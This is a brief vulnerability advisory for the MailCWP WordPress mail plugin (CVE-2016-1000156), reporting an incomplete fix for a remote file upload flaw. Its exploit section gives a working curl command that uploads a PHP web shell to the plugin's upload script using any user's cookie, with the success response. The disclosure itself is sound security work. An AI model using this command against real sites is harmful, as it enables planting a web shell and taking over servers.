Mailcwp remote file upload vulnerability incomplete fix v1.100
CVE ID(s):
CVE-2016-1000156
Notified: 2016-11-01
Description:
MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website.
Exploit:
Create any type of user and copy the contents of your cookie file for curl:
$ curl -F "file=@/home/larry/shell.php5" "http://example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1" -F "upload_dir=/usr/share/wordpress/wp-content/uploads" --cookie cookie.txt
{"OK": 1}
Notes:
Incomplete fix for CVE-2015-1000000